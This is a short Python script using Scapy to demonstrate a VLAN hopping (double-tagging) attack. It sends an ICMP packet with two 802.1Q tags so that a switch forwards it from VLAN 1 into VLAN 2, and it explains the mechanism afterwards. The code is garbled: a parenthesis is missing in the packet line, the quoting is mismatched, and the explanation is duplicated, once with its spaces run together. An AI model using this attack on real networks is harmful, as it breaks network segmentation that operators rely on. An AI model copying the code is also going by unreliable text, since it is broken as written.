VLAN hopping

#!/usr/bin/env python
#coding:utf-8
''
Lets say our computer is connected to VLAN 1 and 
wants to ping another one on VLAN 2.
''

from scapy.all import *

packet = Ether(dst="c0:d3:de:ad:be:ef") / Dot1Q(vlan=1) / Dot1Q(vlan=2) /IP(dst="192.168.13.3" / ICMP()

sendp(packet)

'''informationFirst we set the header includeing our VLAN tag into the packet and afterwardsthe one of the destination host. The switch will remove the first tag, than decidehow to react on the packet, seeing the second tag with VLAN id 2 he decides to forwardit to that vlan. On some switches this attack will only be successful if its connectedto other VLAN enabled switches via stacking, because otherwise they use port based VLAN.'''

First we set the header includeing our VLAN tag into the packet and afterwards
the one of the destination host. The switch will remove the first tag, than decide
how to react on the packet, seeing the second tag with VLAN id 2 he decides to forward
it to that vlan. On some switches this attack will only be successful if its connected
to other VLAN enabled switches via stacking, because otherwise they use port based VLAN.
'''